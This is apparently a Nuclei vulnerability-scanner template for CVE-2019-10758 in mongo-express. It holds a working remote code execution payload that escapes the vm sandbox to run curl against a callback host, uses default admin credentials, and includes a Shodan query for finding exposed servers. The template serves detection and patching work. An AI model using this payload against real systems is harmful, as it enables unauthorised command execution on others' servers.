id: CVE-2019-10758

info:
  name: mongo-express Remote Code Execution
  author: princechaddha
  severity: critical
  description: mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10758
    - https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215
  remediation: Upgrade mongo-express to version 0.54.0 or higher.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2019-10758
    epss-score: 0.97345
    cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    shodan-query: http.title:"Mongo Express"
    framework: node.js
    vendor: mongo-express_project
    product: mongo-express
  tags: vulhub,cve,cve2019,mongo,mongo-express,kev

http:
  - raw:
      - |
        POST /checkValid HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46cGFzcw==
        Content-Type: application/x-www-form-urlencoded

        document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl {{interactsh-url}}")

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"